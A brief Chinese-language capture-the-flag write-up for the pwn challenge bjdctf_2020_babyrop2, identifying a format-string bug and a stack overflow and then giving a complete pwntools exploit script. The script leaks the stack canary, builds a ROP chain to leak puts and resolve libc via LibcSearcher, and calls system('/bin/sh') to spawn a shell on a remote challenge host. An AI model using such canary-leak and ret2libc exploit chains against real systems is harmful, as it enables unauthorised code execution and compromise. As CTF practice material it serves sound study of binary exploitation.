bjdctf_2020_babyrop2

程序存在两个漏洞，gift存在格式化字符串漏洞，vuln存在栈溢出漏洞

 这题和攻防世界的Mary_Morton类似，用格式化字符串漏洞泄露canary，然后就是常规的栈溢出来getshell，需要注意的是在gift里面只能输入6个字符

 脚本如下

# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level='debug'

r=remote('node3.buuoj.cn',27345)
#r=process('./bjdctf_2020_babyrop2')
elf=ELF('./bjdctf_2020_babyrop2')
pop_rdi=0x0000000000400993
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln_addr=elf.symbols['vuln']

#泄露canary
r.recvuntil("I'll give u some gift to help u!")
r.sendline('%7$p')
r.recvuntil('0x')
canary=int(r.recv(16),16)
print('[+]canary: ',hex(canary))

payload='a'*(0x20-0x8)+p64(canary)+'b'*0x8
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()

puts_addr=u64(r.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

r.recvuntil('Pull up your sword and tell me u story!')
payload='a'*(0x20-0x8)+p64(canary)+'b'*0x8
payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
r.sendline(payload)

r.interactive()